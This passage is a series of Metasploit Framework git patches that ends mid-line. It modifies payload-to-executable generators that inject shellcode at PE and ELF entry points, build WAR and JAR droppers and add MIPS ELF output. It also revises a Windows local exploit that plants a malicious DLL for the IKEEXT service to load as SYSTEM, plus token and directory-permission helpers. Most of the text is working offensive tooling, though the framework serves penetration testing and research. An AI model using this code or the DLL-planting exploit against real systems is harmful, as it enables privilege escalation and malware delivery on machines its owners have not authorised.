a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index 12b68a1460..49ee94e3e5 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -1,7 +1,4 @@ # -*- coding: binary -*- -## -# $Id$ -## ### # @@ -73,7 +70,7 @@ module Exploit::EXE pl = opts[:code] pl ||= payload.encoded - if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) + if opts[:arch] and opts[:arch] == ARCH_X64 exe = Msf::Util::EXE.to_win64pe_service(framework, pl, opts) else exe = Msf::Util::EXE.to_win32pe_service(framework, pl, opts) @@ -91,7 +88,8 @@ module Exploit::EXE # NOTE: Only Windows is supported here. pl = opts[:code] pl ||= payload.encoded - if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) + + if opts[:arch] and opts[:arch] == ARCH_X64 dll = Msf::Util::EXE.to_win64pe_dll(framework, pl, opts) else dll = Msf::Util::EXE.to_win32pe_dll(framework, pl, opts) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 375a6c1a5f..08412cb2ba 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1,21 +1,13 @@ # -*- coding: binary -*- -## -# $Id: exe.rb 14286 2011-11-20 01:41:04Z rapid7 $ -## -### -# -# framework-util-exe -# -------------- +module Msf +module Util + # # The class provides methods for creating and encoding executable file # formats for various platforms. It is a replacement for the previous # code in Rex::Text # -### - -module Msf -module Util class EXE require 'rex' @@ -128,6 +120,20 @@ require 'digest/sha1' end # XXX: Add PPC OS X and Linux here end + + if(arch.index(ARCH_MIPSLE)) + if(plat.index(Msf::Module::Platform::Linux)) + return to_linux_mipsle_elf(framework, code) + end + # XXX: Add remaining MIPSLE systems here + end + + if(arch.index(ARCH_MIPSBE)) + if(plat.index(Msf::Module::Platform::Linux)) + return to_linux_mipsbe_elf(framework, code) + end + # XXX: Add remaining MIPSLE systems here + end nil end @@ -255,8 +261,12 @@ require 'digest/sha1' raise RuntimeError, "The .text section does not contain an entry point" end - if(text.size < (payload.length + 256)) - raise RuntimeError, "The .text section is too small to be usable" + p_length = payload.length + 256 + if(text.size < p_length) + fname = ::File.basename(opts[:template]) + msg = "The .text section for '#{fname}' is too small. " + msg << "Minimum is #{p_length.to_s} bytes, your .text section is #{text.size.to_s} bytes" + raise RuntimeError, msg end # Store some useful offsets @@ -354,9 +364,46 @@ require 'digest/sha1' exe end + def self.to_winpe_only(framework, code, opts={}, arch="x86") + + # Allow the user to specify their own EXE template + + set_template_default(opts, "template_"+arch+"_windows.exe") + + pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) + + exe = '' + File.open(opts[:template], 'rb') { |fd| + exe = fd.read(fd.stat.size) + } + + sections_header = [] + pe._file_header.v['NumberOfSections'].times { |i| sections_header << [(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18+0x24),exe[(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18),0x28]] } + + + #look for section with entry point + sections_header.each do |sec| + virtualAddress = sec[1][0xc,0x4].unpack('L')[0] + sizeOfRawData = sec[1][0x10,0x4].unpack('L')[0] + characteristics = sec[1][0x24,0x4].unpack('L')[0] + if pe.hdr.opt.AddressOfEntryPoint >= virtualAddress && pe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData + #put this section writable + characteristics|=0x80000000 + newcharacteristics = [characteristics].pack('L') + exe[sec[0],newcharacteristics.length]=newcharacteristics + end + end + + #put the shellcode at the entry point, overwriting template + exe[pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint),code.length]=code + + return exe + end + def self.to_win32pe_old(framework, code, opts={}) + payload = code.dup # Allow the user to specify their own EXE template set_template_default(opts, "template_x86_windows_old.exe") @@ -365,17 +412,17 @@ require 'digest/sha1' pe = fd.read(fd.stat.size) } - if(code.length < 2048) - code << Rex::Text.rand_text(2048-code.length) + if(payload.length < 2048) + payload << Rex::Text.rand_text(2048-payload.length) end - if(code.length > 2048) + if(payload.length > 2048) raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module" end bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, code.length] = code + pe[bo, payload.length] = payload pe[136, 4] = [rand(0x100000000)].pack('V') @@ -414,7 +461,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, code.length] = [code].pack("a*") + pe[bo, 8192] = [code].pack("a8192") return pe end @@ -451,7 +498,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, code.length] = [code].pack("a*") + pe[bo, 8192] = [code].pack("a8192") if name bo = pe.index('SERVICENAME') @@ -480,7 +527,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, code.length] = [code].pack("a*") + pe[bo, 8192] = [code].pack("a8192") if name bo = pe.index('SERVICENAME') @@ -507,7 +554,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, code.length] = [code].pack("a*") + pe[bo, 8192] = [code].pack("a8192") # optional mutex mt = pe.index('MUTEX!!!') @@ -528,7 +575,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, code.length] = [code].pack("a*") + pe[bo, 8192] = [code].pack("a8192") # optional mutex mt = pe.index('MUTEX!!!') @@ -605,13 +652,14 @@ require 'digest/sha1' end # Create an ELF executable containing the payload provided in +code+ + # # For the default template, this method just appends the payload, checks if # the template is 32 or 64 bit and adjusts the offsets accordingly # For user-provided templates, modifies the header to mark all executable # segments as writable and overwrites the entrypoint (usually _start) with # the payload. # - def self.to_exe_elf(framework, opts, template, code) + def self.to_exe_elf(framework, opts, template, code, big_endian=false) # Allow the user to specify their own template set_template_default(opts, template) @@ -636,11 +684,21 @@ require 'digest/sha1' # Use the proper offsets and pack size case elf[4] when 1, "\x01" # ELFCLASS32 - 32 bit (ruby 1.8 and 1.9) - elf[0x44,4] = [elf.length].pack('V') #p_filesz - elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz + if big_endian + elf[0x44,4] = [elf.length].pack('N') #p_filesz + elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz + else # little endian + elf[0x44,4] = [elf.length].pack('V') #p_filesz + elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz + end when 2, "\x02" # ELFCLASS64 - 64 bit (ruby 1.8 and 1.9) - elf[0x60,8] = [elf.length].pack('Q') #p_filesz - elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz + if big_endian + elf[0x60,8] = [elf.length].pack('Q>') #p_filesz + elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz + else # little endian + elf[0x60,8] = [elf.length].pack('Q') #p_filesz + elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz + end else raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported" end @@ -713,6 +771,16 @@ require 'digest/sha1' return elf end + def self.to_linux_mipsle_elf(framework, code, opts={}) + elf = to_exe_elf(framework, opts, "template_mipsle_linux.bin", code) + return elf + end + + def self.to_linux_mipsbe_elf(framework, code, opts={}) + elf = to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true) + return elf + end + def self.to_exe_vba(exes='') exe = exes.unpack('C*') vba = "" @@ -1183,8 +1251,9 @@ End Sub # Creates a jar file that drops the provided +exe+ into a random file name # in the system's temp dir and executes it. # - # See also: +Msf::Core::Payload::Java+ + # @see Msf::Payload::Java # + # @return [Rex::Zip::Jar] def self.to_jar(exe, opts={}) spawn = opts[:spawn] || 2 exe_name = Rex::Text.rand_text_alpha(8) + ".exe" @@ -1201,8 +1270,30 @@ End Sub zip end - # Creates a Web Archive (WAR) file from the provided jsp code. Additional options - # can be provided via the "opts" hash. + # Creates a Web Archive (WAR) file from the provided jsp code. + # + # On Tomcat, WAR files will be deployed into a directory with the same name + # as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the + # server is in a default configuration, deoployment will happen + # automatically. See + # {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat + # documentation} for a description of how this works. + # + # @param jsp_raw [String] JSP code to be added in a file called +jsp_name+ + # in the archive. This will be compiled by the victim servlet container + # (e.g., Tomcat) and act as the main function for the servlet. + # @param opts [Hash] + # @option opts :jsp_name [String] Name of the in the archive + # _without the .jsp extension_. Defaults to random. + # @option opts :app_name [String] Name of the app to put in the + # tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to + # random. + # @option opts :extra_files [Array] Additional files to add + # to the archive. First elment is filename, second is data + # + # @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar} + # + # @return [String] def self.to_war(jsp_raw, opts={}) jsp_name = opts[:jsp_name] jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8) @@ -1243,9 +1334,15 @@ End Sub return zip.pack end - # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a payload. - # The jsp page converts the hexdump back to a normal .exe file and places it in - # the temp directory. The payload .exe file is then executed. + # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a + # payload. The jsp page converts the hexdump back to a normal binary file + # and places it in the temp directory. The payload file is then executed. + # + # @see to_war + # @param exe [String] Executable to drop and run. + # @param opts (see to_war) + # @option opts (see to_war) + # @return (see to_war) def self.to_jsp_war(exe, opts={}) # begin .jsp @@ -1870,6 +1967,15 @@ End Sub output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts) end + when 'exe-only' + if(not arch or (arch.index(ARCH_X86))) + output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts) + end + + if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) + output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts, "x64") + end + when 'elf' if (not plat or (plat.index(Msf::Module::Platform::Linux))) if (not arch or (arch.index(ARCH_X86))) @@ -1934,7 +2040,7 @@ End Sub end def self.to_executable_fmt_formats - ['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net'] + ['dll','exe','exe-small','exe-only','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net'] end # diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ikeext_service.rb similarity index 89% rename from modules/exploits/windows/local/ipsec_keyring_service.rb rename to modules/exploits/windows/local/ikeext_service.rb index 3635e079e7..c72cb6f9bd 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -22,33 +22,33 @@ class Metasploit3 < Msf::Exploit::Local def initialize(info={}) super( update_info( info, - 'Name' => 'IKE and AuthIP IPsec Keyring Modules Missing DLL', + 'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL', 'Description' => %q{ - This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring - Modules' service which runs as SYSTEM, and starts automatically in default - installations of Vista-Win8. Use reverse_http(s) for greater reliability - when attempting to reboot system. + This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules' + (IKEEXT) service which runs as SYSTEM, and starts automatically in default + installations of Vista-Win8. Use reverse_http(s) for greater reliability when + attempting to reboot system. It requires an insecure bin path to plant the DLL payload. }, 'References' => [ ['URL', 'https://www.htbridge.com/advisory/HTB23108'], ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html'] ], - 'DisclosureDate' => "Oct 9 2012", + 'DisclosureDate' => "Oct 09 2012", 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell ' ], - 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'Platform' => [ 'win'], 'Targets' => [ - [ 'Windows', { } ], + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'SessionTypes' => [ "meterpreter" ], 'DefaultOptions' => - { + { 'EXITFUNC' => 'thread', 'WfsDelay' => '5' }, @@ -193,22 +193,20 @@ class Metasploit3 < Msf::Exploit::Local return nil end - def session_arch - if sysinfo["Architecture"] =~ /x64/i - return ARCH_X86_64 - elsif sysinfo["Architecture"] =~ /x86/i - return ARCH_X86 + def check_session_arch + if sysinfo['Architecture'] =~ /x64/i + if payload_instance.arch.first == 'x86' + fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") + end else - print_status("#{sysinfo["Architecture"]}") - return nil + if payload_instance.arch.first =~ /64/i + fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture") + end end end def exploit - unless session_arch == payload_instance.arch.first - vprint_error("Session Arch: #{session_arch} Payload Arch: #{payload_instance.arch}") - fail_with(Exploit::Failure::BadConfig, "Wrong Architecture targetted") - end + check_session_arch begin @token = get_imperstoken @@ -217,8 +215,7 @@ class Metasploit3 < Msf::Exploit::Local end if is_system? - print_error("Current user is already SYSTEM, aborting.") - return + fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.") end print_status("Checking service exists...") @@ -227,7 +224,7 @@ class Metasploit3 < Msf::Exploit::Local end if is_uac_enabled? - print_warning("UAC is enabled, may get false negatives on writeable folders.") + print_warning("UAC is enabled, may get false negatives on writable folders.") end if datastore['DIR'].empty? @@ -263,7 +260,7 @@ class Metasploit3 < Msf::Exploit::Local end # Check architecture - dll = generate_payload_dll({ :arch => session_arch }) + dll = generate_payload_dll # # Drop the malicious executable into the path From fee5fabb91d2fda352b33da42031b0793b83d565 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Wed, 24 Jul 2013 19:59:04 +0100 Subject: [PATCH 23/31] Revert x64 corruption changes --- lib/msf/core/exploit/exe.rb | 3 + lib/msf/util/exe.rb | 164 +++++++----------------------------- 2 files changed, 32 insertions(+), 135 deletions(-) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index 49ee94e3e5..e4d632d0ef 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -1,4 +1,7 @@ # -*- coding: binary -*- +## +# $Id$ +## ### # diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 08412cb2ba..5d6c0e509a 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1,13 +1,21 @@ # -*- coding: binary -*- +## +# $Id: exe.rb 14286 2011-11-20 01:41:04Z rapid7 $ +## -module Msf -module Util - +### +# +# framework-util-exe +# -------------- # # The class provides methods for creating and encoding executable file # formats for various platforms. It is a replacement for the previous # code in Rex::Text # +### + +module Msf +module Util class EXE require 'rex' @@ -120,20 +128,6 @@ require 'digest/sha1' end # XXX: Add PPC OS X and Linux here end - - if(arch.index(ARCH_MIPSLE)) - if(plat.index(Msf::Module::Platform::Linux)) - return to_linux_mipsle_elf(framework, code) - end - # XXX: Add remaining MIPSLE systems here - end - - if(arch.index(ARCH_MIPSBE)) - if(plat.index(Msf::Module::Platform::Linux)) - return to_linux_mipsbe_elf(framework, code) - end - # XXX: Add remaining MIPSLE systems here - end nil end @@ -261,12 +255,8 @@ require 'digest/sha1' raise RuntimeError, "The .text section does not contain an entry point" end - p_length = payload.length + 256 - if(text.size < p_length) - fname = ::File.basename(opts[:template]) - msg = "The .text section for '#{fname}' is too small. " - msg << "Minimum is #{p_length.to_s} bytes, your .text section is #{text.size.to_s} bytes" - raise RuntimeError, msg + if(text.size < (payload.length + 256)) + raise RuntimeError, "The .text section is too small to be usable" end # Store some useful offsets @@ -364,46 +354,9 @@ require 'digest/sha1' exe end - def self.to_winpe_only(framework, code, opts={}, arch="x86") - - # Allow the user to specify their own EXE template - - set_template_default(opts, "template_"+arch+"_windows.exe") - - pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true) - - exe = '' - File.open(opts[:template], 'rb') { |fd| - exe = fd.read(fd.stat.size) - } - - sections_header = [] - pe._file_header.v['NumberOfSections'].times { |i| sections_header << [(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18+0x24),exe[(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18),0x28]] } - - - #look for section with entry point - sections_header.each do |sec| - virtualAddress = sec[1][0xc,0x4].unpack('L')[0] - sizeOfRawData = sec[1][0x10,0x4].unpack('L')[0] - characteristics = sec[1][0x24,0x4].unpack('L')[0] - if pe.hdr.opt.AddressOfEntryPoint >= virtualAddress && pe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData - #put this section writable - characteristics|=0x80000000 - newcharacteristics = [characteristics].pack('L') - exe[sec[0],newcharacteristics.length]=newcharacteristics - end - end - - #put the shellcode at the entry point, overwriting template - exe[pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint),code.length]=code - - return exe - end - def self.to_win32pe_old(framework, code, opts={}) - payload = code.dup # Allow the user to specify their own EXE template set_template_default(opts, "template_x86_windows_old.exe") @@ -412,17 +365,17 @@ require 'digest/sha1' pe = fd.read(fd.stat.size) } - if(payload.length < 2048) - payload << Rex::Text.rand_text(2048-payload.length) + if(code.length < 2048) + code << Rex::Text.rand_text(2048-code.length) end - if(payload.length > 2048) + if(code.length > 2048) raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module" end bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, payload.length] = payload + pe[bo, code.length] = code pe[136, 4] = [rand(0x100000000)].pack('V') @@ -652,14 +605,13 @@ require 'digest/sha1' end # Create an ELF executable containing the payload provided in +code+ - # # For the default template, this method just appends the payload, checks if # the template is 32 or 64 bit and adjusts the offsets accordingly # For user-provided templates, modifies the header to mark all executable # segments as writable and overwrites the entrypoint (usually _start) with # the payload. # - def self.to_exe_elf(framework, opts, template, code, big_endian=false) + def self.to_exe_elf(framework, opts, template, code) # Allow the user to specify their own template set_template_default(opts, template) @@ -684,21 +636,11 @@ require 'digest/sha1' # Use the proper offsets and pack size case elf[4] when 1, "\x01" # ELFCLASS32 - 32 bit (ruby 1.8 and 1.9) - if big_endian - elf[0x44,4] = [elf.length].pack('N') #p_filesz - elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz - else # little endian - elf[0x44,4] = [elf.length].pack('V') #p_filesz - elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz - end + elf[0x44,4] = [elf.length].pack('V') #p_filesz + elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz when 2, "\x02" # ELFCLASS64 - 64 bit (ruby 1.8 and 1.9) - if big_endian - elf[0x60,8] = [elf.length].pack('Q>') #p_filesz - elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz - else # little endian - elf[0x60,8] = [elf.length].pack('Q') #p_filesz - elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz - end + elf[0x60,8] = [elf.length].pack('Q') #p_filesz + elf[0x68,8] = [elf.length + code.length].pack('Q') #p_memsz else raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported" end @@ -771,16 +713,6 @@ require 'digest/sha1' return elf end - def self.to_linux_mipsle_elf(framework, code, opts={}) - elf = to_exe_elf(framework, opts, "template_mipsle_linux.bin", code) - return elf - end - - def self.to_linux_mipsbe_elf(framework, code, opts={}) - elf = to_exe_elf(framework, opts, "template_mipsbe_linux.bin", code, true) - return elf - end - def self.to_exe_vba(exes='') exe = exes.unpack('C*') vba = "" @@ -1251,9 +1183,8 @@ End Sub # Creates a jar file that drops the provided +exe+ into a random file name # in the system's temp dir and executes it. # - # @see Msf::Payload::Java + # See also: +Msf::Core::Payload::Java+ # - # @return [Rex::Zip::Jar] def self.to_jar(exe, opts={}) spawn = opts[:spawn] || 2 exe_name = Rex::Text.rand_text_alpha(8) + ".exe" @@ -1270,30 +1201,8 @@ End Sub zip end - # Creates a Web Archive (WAR) file from the provided jsp code. - # - # On Tomcat, WAR files will be deployed into a directory with the same name - # as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the - # server is in a default configuration, deoployment will happen - # automatically. See - # {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat - # documentation} for a description of how this works. - # - # @param jsp_raw [String] JSP code to be added in a file called +jsp_name+ - # in the archive. This will be compiled by the victim servlet container - # (e.g., Tomcat) and act as the main function for the servlet. - # @param opts [Hash] - # @option opts :jsp_name [String] Name of the in the archive - # _without the .jsp extension_. Defaults to random. - # @option opts :app_name [String] Name of the app to put in the - # tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to - # random. - # @option opts :extra_files [Array] Additional files to add - # to the archive. First elment is filename, second is data - # - # @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar} - # - # @return [String] + # Creates a Web Archive (WAR) file from the provided jsp code. Additional options + # can be provided via the "opts" hash. def self.to_war(jsp_raw, opts={}) jsp_name = opts[:jsp_name] jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8) @@ -1334,15 +1243,9 @@ End Sub return zip.pack end - # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a - # payload. The jsp page converts the hexdump back to a normal binary file - # and places it in the temp directory. The payload file is then executed. - # - # @see to_war - # @param exe [String] Executable to drop and run. - # @param opts (see to_war) - # @option opts (see to_war) - # @return (see to_war) + # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a payload. + # The jsp page converts the hexdump back to a normal .exe file and places it in + # the temp directory. The payload .exe file is then executed. def self.to_jsp_war(exe, opts={}) # begin .jsp @@ -1967,15 +1870,6 @@ End Sub output = Msf::Util::EXE.to_win32pe_old(framework, code, exeopts) end - when 'exe-only' - if(not arch or (arch.index(ARCH_X86))) - output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts) - end - - if(arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 ))) - output = Msf::Util::EXE.to_winpe_only(framework, code, exeopts, "x64") - end - when 'elf' if (not plat or (plat.index(Msf::Module::Platform::Linux))) if (not arch or (arch.index(ARCH_X86))) @@ -2040,7 +1934,7 @@ End Sub end def self.to_executable_fmt_formats - ['dll','exe','exe-small','exe-only','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net'] + ['dll','exe','exe-small','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net'] end # From a8e77c56bd4dcce4f8b800a7551fa35eb45183f0 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 3 Sep 2013 22:46:20 +0100 Subject: [PATCH 24/31] Updates --- lib/msf/core/post/windows/accounts.rb | 18 ++++-- .../exploits/windows/local/ikeext_service.rb | 60 ++++++++----------- modules/post/windows/gather/enum_dirperms.rb | 8 +-- 3 files changed, 43 insertions(+), 43 deletions(-) diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb index 63d3dbf770..5ef3214645 100644 --- a/lib/msf/core/post/windows/accounts.rb +++ b/lib/msf/core/post/windows/accounts.rb @@ -180,7 +180,7 @@ module Accounts # Gets an impersonation token from the primary token. # - # @return [Fixnum] the impersonate token handle identifier if success, 0 if + # @return [Fixnum] the impersonate token handle identifier if success, nil if # fails def get_imperstoken adv = session.railgun.advapi32 @@ -195,7 +195,7 @@ module Accounts if it["return"] #if it fails return 0 for error handling return it["DuplicateTokenHandle"] else - return 0 + return nil end end @@ -213,11 +213,19 @@ module Accounts #define generic mapping structure gen_map = [0,0,0,0] gen_map = gen_map.pack("L") + buffer_size = 500 #get Security Descriptor for the directory - f = adv.GetFileSecurityA(dir, si, 20, 20, 4) - f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) - sd = f["pSecurityDescriptor"] + f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4) + if (f['return'] and f["lpnLengthNeeded"] <= buffer_size) + sd = f["pSecurityDescriptor"] + elsif (f['GetLastError'] == 2) + vprint_error("The system cannot find the file specified: #{dir}") + return nil + else + f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) + end + #check for write access, called once to get buffer size a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index c72cb6f9bd..37bce0657b 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -11,7 +11,7 @@ require 'msf/core/post/windows/services' require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Exploit::Local - Rank = ExcellentRanking + Rank = GoodRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper @@ -26,8 +26,8 @@ class Metasploit3 < Msf::Exploit::Local 'Description' => %q{ This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules' (IKEEXT) service which runs as SYSTEM, and starts automatically in default - installations of Vista-Win8. Use reverse_http(s) for greater reliability when - attempting to reboot system. It requires an insecure bin path to plant the DLL payload. + installations of Vista-Win8. + It requires an insecure bin path to plant the DLL payload. }, 'References' => [ @@ -66,17 +66,6 @@ class Metasploit3 < Msf::Exploit::Local @non_existant_dirs = [] end - # Current exist? gives false negative when folder does exist. - def exist?(path) - begin - session.fs.dir.entries(path) - return true - rescue - end - - return false - end - def check_service_exists?(service) srv_info = service_info(service) @@ -98,26 +87,26 @@ class Metasploit3 < Msf::Exploit::Local if !check_service_exists?(@service_name) return Exploit::CheckCode::Safe - else - vprint_status(srv_info) - - case srv_info['Startup'] - when 'Disabled' - print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") - return Exploit::CheckCode::Safe - when 'Manual' - print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") - return Exploit::CheckCode::Safe - when 'Auto' - print_good("Service is set to Automatically start...") - end - - if check_search_path - return Exploit::CheckCode::Safe - end - - return Exploit::CheckCode::Vulnerable end + + vprint_status(srv_info.to_s) + + case srv_info['Startup'] + when 'Disabled' + print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Manual' + print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Auto' + print_good("Service is set to Automatically start...") + end + + if check_search_path + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Vulnerable end def check_search_path @@ -183,6 +172,7 @@ class Metasploit3 < Msf::Exploit::Local begin client.fs.dir.mkdir(dir) if exist?(dir) + register_file_for_cleanup(dir) return dir end rescue Rex::Post::Meterpreter::RequestError => e @@ -211,7 +201,9 @@ class Metasploit3 < Msf::Exploit::Local begin @token = get_imperstoken rescue ::Exception => e - fail_with(Exploit::Failure::Unknown, "Error while using get_imperstoken: #{e}") + vprint_error("Failed to get token, Exception: #{e}") + ensure + fail_with(Exploit::Failure::Unknown, "Error while using get_imperstoken: #{e}") unless @token end if is_system? diff --git a/modules/post/windows/gather/enum_dirperms.rb b/modules/post/windows/gather/enum_dirperms.rb index 67a2b80ad0..f57b1340e9 100644 --- a/modules/post/windows/gather/enum_dirperms.rb +++ b/modules/post/windows/gather/enum_dirperms.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Post next if d =~ /^(\.|\.\.)$/ realpath = dpath + '\\' + d if session.fs.file.stat(realpath).directory? - perm = check_dir(realpath, token) + perm = check_dir_perms(realpath, token) if perm_filter and perm and perm.include?(perm_filter) print_status(perm + "\t" + realpath) end @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Post t = get_imperstoken() rescue ::Exception => e # Failure due to timeout, access denied, etc. - t = 0 + t = nil vprint_error("Error #{e.message} while using get_imperstoken()") vprint_error(e.backtrace) end @@ -105,7 +105,7 @@ class Metasploit3 < Msf::Post print_status("Checking directory permissions from: #{path}") - perm = check_dir(path, token) + perm = check_dir_perms(path, token) if not perm.nil? # Show the permission of the parent directory if perm_filter and perm.include?(perm_filter) @@ -135,7 +135,7 @@ class Metasploit3 < Msf::Post t = get_token - if t == 0 + unless t print_error("Getting impersonation token failed") else print_status("Got token: #{t.to_s}...") From c687f23b81d037b17d7c869ce0c4185675d36568 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 3 Sep 2013 22:57:27 +0100 Subject: [PATCH 25/31] Better error handling --- lib/msf/core/post/windows/accounts.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb index 5ef3214645..53e2ee64b2 100644 --- a/lib/msf/core/post/windows/accounts.rb +++ b/lib/msf/core/post/windows/accounts.rb @@ -219,14 +219,16 @@ module Accounts f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4) if (f['return'] and f["lpnLengthNeeded"] <= buffer_size) sd = f["pSecurityDescriptor"] + elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER + f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) elsif 